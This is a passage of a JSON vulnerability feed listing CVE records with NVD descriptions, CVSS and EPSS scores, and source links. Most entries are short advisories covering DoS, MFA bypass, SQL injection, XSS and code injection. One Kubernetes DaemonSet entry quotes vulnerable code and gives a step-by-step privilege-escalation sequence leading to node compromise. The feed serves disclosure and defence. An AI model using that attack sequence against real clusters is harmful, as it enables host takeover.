fixes.","publishedAt":"2026-10-14T12:17:18.083Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76655","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00573,"percentile":0.47054,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76655","type":"primary","publishedAt":"2026-10-14T12:17:18.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73798","cveId":"CVE-2026-73798","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service.","summary":"A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service.","detail":"A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T12:17:17.963Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73798","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00325,"percentile":0.25359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73798","type":"primary","publishedAt":"2026-10-14T12:17:17.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108071","cveId":"CVE-2026-108071","aliases":[],"kind":"vulnerability","title":"Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism.","summary":"Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism. A remote attacker authenticated with valid first-factor credentials could bypass the second-factor verification because the authentication flow does not correctly apply the MFA validation result, allowing the attacker to complete the login without a valid second-factor token and gain access to protected applications and resources.","detail":"Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism. A remote attacker authenticated with valid first-factor credentials could bypass the second-factor verification because the authentication flow does not correctly apply the MFA validation result, allowing the attacker to complete the login without a valid second-factor token and gain access to protected applications and resources.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:17:03.113Z","updatedAt":"2026-10-15T16:33:47.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108071","asOf":"2026-10-15T16:33:47.027Z"},"epss":{"probability":0.00469,"percentile":0.40312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108071","type":"primary","publishedAt":"2026-10-14T11:17:03.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108070","cveId":"CVE-2026-108070","aliases":[],"kind":"vulnerability","title":"A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by...","summary":"A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by manipulated paths through the /socket.io/JWN/ endpoint, bypassing the access restrictions intended for certain internal resources.","detail":"A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by manipulated paths through the /socket.io/JWN/ endpoint, bypassing the access restrictions intended for certain internal resources.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:17:02.977Z","updatedAt":"2026-10-15T16:33:47.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108070","asOf":"2026-10-15T16:33:47.027Z"},"epss":{"probability":0.00449,"percentile":0.38748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108070&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108070","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108070","type":"primary","publishedAt":"2026-10-14T11:17:02.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108070&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108070, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107431","cveId":"CVE-2026-107431","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects...","summary":"Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetFormBuilder: from n/a through 3.6.6.","detail":"Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetFormBuilder: from n/a through 3.6.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:17:02.763Z","updatedAt":"2026-10-14T14:26:59.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107431","asOf":"2026-10-14T14:26:59.367Z"},"epss":{"probability":0.00321,"percentile":0.24859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107431","type":"primary","publishedAt":"2026-10-14T11:17:02.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105067","cveId":"CVE-2026-105067","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind SQL Injection.This issue affects Modern Events Calendar Lite: from n/a before 7.37.0.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind SQL Injection.This issue affects Modern Events Calendar Lite: from n/a before 7.37.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:17:00.190Z","updatedAt":"2026-10-15T16:17:34.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105067","asOf":"2026-10-15T16:17:34.083Z"},"epss":{"probability":0.0027,"percentile":0.18953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105067&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105067","type":"primary","publishedAt":"2026-10-14T11:17:00.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105067&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105067, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104795","cveId":"CVE-2026-104795","aliases":[],"kind":"vulnerability","title":"The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)\nthat scans container processes for runtime fingerprinting. When scanning a\ncontainer, the...","summary":"The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)\nthat scans container processes for runtime fingerprinting. When scanning a\ncontainer, the coordinator:\n\n1. **fork()s** a child process\n2. **setns()** into the target container's PID and mount namespaces\n3. **fchdir()** back to an orphaned FD pointing at the extractor's own root\n   filesystem (where `/crio.sock` is hostPath-mounted)\n4. Calls **only `seteuid(target_uid)`** — changing the effective UID but leaving\n   the **real UID and saved-set-UID at 0** and **retaining the permitted\n   capability set**\n5. The `check_no_privileged_perms()` guard inspects only the Effective capability\n   set (so it passes), and is **skipped entirely when the target runs as uid 0**\n6. The `VersionExecutable` fingerprint invokes `fpr_kind_executable` with\n   `process.command_line[0]` — the target's argv[0], read from\n   `/proc/<pid>/cmdline` and **fully controlled by the workload**\n7. `fpr_kind_executable` calls `exec.Command(executable, \"--version\").Output()`\n   — executing the **workload's own binary** inside the workload's mount\n   namespace while **ruid=0 in the host user namespace**\n\nThe executed process can call `setuid(0)` to restore full root with\n`CAP_SYS_ADMIN`, and inherits the orphaned cwd which resolves into the extractor\ncontainer's filesystem containing the host CRI-O socket.\n\n## Affected Code\n\n### 1. Insufficient privilege drop (Rust — extractor coordinator)\n\n**File:** `extractor/src/insights_runtime_extractor.rs`\n\n```rust\n// Lines 139-146 — seteuid-only drop, guard skipped for root containers\njoin_process_namespaces(process.pid)?;\nchange_dir(current_dir);\nswitch_user(*process.uid)?;\nif *process.uid != 0 {\n    perms::check_no_privileged_perms()\n        .expect(\"Must not have privileged permissions to run fingerprints\");\n}\nfingerprint::run_fingerprints(&config, out_dir, &process);\n```\n\n```rust\n// Lines 182-185 — only effective UID changed; ruid/suid stay 0\nfn switch_user(uid: u32) -> Result<(), ScannerError> {\n    debug!(\"... Becoming user: {uid}\");\n    seteuid(uid.into()).map_err(|e| ScannerError::Errno(e))\n}\n```\n\n### 2. Execution of untrusted binary (Go — fingerprint)\n\n**File:** `fingerp","detail":"The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)\nthat scans container processes for runtime fingerprinting. When scanning a\ncontainer, the coordinator:\n\n1. **fork()s** a child process\n2. **setns()** into the target container's PID and mount namespaces\n3. **fchdir()** back to an orphaned FD pointing at the extractor's own root\n   filesystem (where `/crio.sock` is hostPath-mounted)\n4. Calls **only `seteuid(target_uid)`** — changing the effective UID but leaving\n   the **real UID and saved-set-UID at 0** and **retaining the permitted\n   capability set**\n5. The `check_no_privileged_perms()` guard inspects only the Effective capability\n   set (so it passes), and is **skipped entirely when the target runs as uid 0**\n6. The `VersionExecutable` fingerprint invokes `fpr_kind_executable` with\n   `process.command_line[0]` — the target's argv[0], read from\n   `/proc/<pid>/cmdline` and **fully controlled by the workload**\n7. `fpr_kind_executable` calls `exec.Command(executable, \"--version\").Output()`\n   — executing the **workload's own binary** inside the workload's mount\n   namespace while **ruid=0 in the host user namespace**\n\nThe executed process can call `setuid(0)` to restore full root with\n`CAP_SYS_ADMIN`, and inherits the orphaned cwd which resolves into the extractor\ncontainer's filesystem containing the host CRI-O socket.\n\n## Affected Code\n\n### 1. Insufficient privilege drop (Rust — extractor coordinator)\n\n**File:** `extractor/src/insights_runtime_extractor.rs`\n\n```rust\n// Lines 139-146 — seteuid-only drop, guard skipped for root containers\njoin_process_namespaces(process.pid)?;\nchange_dir(current_dir);\nswitch_user(*process.uid)?;\nif *process.uid != 0 {\n    perms::check_no_privileged_perms()\n        .expect(\"Must not have privileged permissions to run fingerprints\");\n}\nfingerprint::run_fingerprints(&config, out_dir, &process);\n```\n\n```rust\n// Lines 182-185 — only effective UID changed; ruid/suid stay 0\nfn switch_user(uid: u32) -> Result<(), ScannerError> {\n    debug!(\"... Becoming user: {uid}\");\n    seteuid(uid.into()).map_err(|e| ScannerError::Errno(e))\n}\n```\n\n### 2. Execution of untrusted binary (Go — fingerprint)\n\n**File:** `fingerprints/pkg/utils/file.go`\n\n```go\n// Lines 75-80 — executes a path taken verbatim from workload's argv[0]\nfunc GetExecutableVersionOutput(executable string) (string, error) {\n    out, err := exec.Command(executable, \"--version\").Output()\n    if err != nil {\n        return \"\", err\n    }\n    return string(out), nil\n}\n```\n\n### 3. Workload-controlled path forwarded (Rust — version_executable)\n\n**File:** `version_executable.rs`\n\n```rust\n// Lines 29-34 — workload-controlled command_line[0] forwarded to fingerprint\nreturn Some(vec![\n    fpr_kind_executable,\n    out_dir.to_string(),\n    String::from(&process.command_line[0]),\n    String::from(&version_executable.runtime_kind_name),\n]);\n```\n\n## Attack Pattern\n\n**Attacker:** Any tenant able to schedule a pod (unprivileged, any namespace)\n**Victim:** The node running the insights-runtime-extractor DaemonSet\n**Trigger:** Automatic — the DaemonSet scans all container processes on the node\n\n**Attack sequence:**\n\n1. Attacker creates a pod whose process name matches a configured\n   versioned-executable pattern (`node`, `python`, `python3`, `MainThread`,\n   or contains `java`)\n2. The pod's main binary (at the path matching argv[0]) is a malicious\n   executable that calls `setuid(0)` to restore root\n3. When the insights operator triggers a scan, the DaemonSet forks, enters the\n   attacker's mount namespace, and executes the attacker's binary with ruid=0\n4. The attacker's code regains full root with `CAP_SYS_ADMIN` in the host user\n   namespace\n5. The inherited cwd contains the host CRI-O socket → full node compromise\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:59.937Z","updatedAt":"2026-10-20T13:16:39.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104795","asOf":"2026-10-20T13:16:39.303Z"},"epss":{"probability":0.00159,"percentile":0.05021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104795","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104795","type":"primary","publishedAt":"2026-10-14T11:16:59.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103905","cveId":"CVE-2026-103905","aliases":[],"kind":"vulnerability","title":"The authentication middleware of the JTL-Shop\nadministration backend processes the plugin safe mode toggle on the admin\nlogout route before checking whether the requesting user is...","summary":"The authentication middleware of the JTL-Shop\nadministration backend processes the plugin safe mode toggle on the admin\nlogout route before checking whether the requesting user is\nauthenticated. An unauthenticated remote attacker can therefore switch the shop's\nplugin safe mode on and off, which deactivates all installed plugins and their\nfunctionality, such as payment and shipping integrations, resulting in a shop-wide\ndenial of service. The attack requires a single request and can be\nautomated against many installations.","detail":"The authentication middleware of the JTL-Shop\nadministration backend processes the plugin safe mode toggle on the admin\nlogout route before checking whether the requesting user is\nauthenticated. An unauthenticated remote attacker can therefore switch the shop's\nplugin safe mode on and off, which deactivates all installed plugins and their\nfunctionality, such as payment and shipping integrations, resulting in a shop-wide\ndenial of service. The attack requires a single request and can be\nautomated against many installations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:59.050Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103905","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00531,"percentile":0.44583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103905&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103905","type":"primary","publishedAt":"2026-10-14T11:16:59.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103905&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103905, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103904","cveId":"CVE-2026-103904","aliases":[],"kind":"vulnerability","title":"The public consent endpoint of JTL-Shop accepts arbitrary\nconsent names from unauthenticated visitors without validating\nthem against the configured consent items. These names are...","summary":"The public consent endpoint of JTL-Shop accepts arbitrary\nconsent names from unauthenticated visitors without validating\nthem against the configured consent items. These names are stored in the consent\nstatistics and rendered without output encoding in the administration\nbackend. An unauthenticated remote attacker can thereby inject script code that\nis executed in the browser session of an administrator viewing the consent\nstatistics page, allowing actions to be performed with the administrator's\nprivileges.","detail":"The public consent endpoint of JTL-Shop accepts arbitrary\nconsent names from unauthenticated visitors without validating\nthem against the configured consent items. These names are stored in the consent\nstatistics and rendered without output encoding in the administration\nbackend. An unauthenticated remote attacker can thereby inject script code that\nis executed in the browser session of an administrator viewing the consent\nstatistics page, allowing actions to be performed with the administrator's\nprivileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:58.903Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103904","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00404,"percentile":0.34351,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103904&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103904","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103904","type":"primary","publishedAt":"2026-10-14T11:16:58.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103904&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103904, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103358","cveId":"CVE-2026-103358","aliases":[],"kind":"vulnerability","title":"Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code...","summary":"Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code Injection.This issue affects Email Template Customizer for WooCommerce: from n/a through 1.3.4.","detail":"Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code Injection.This issue affects Email Template Customizer for WooCommerce: from n/a through 1.3.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 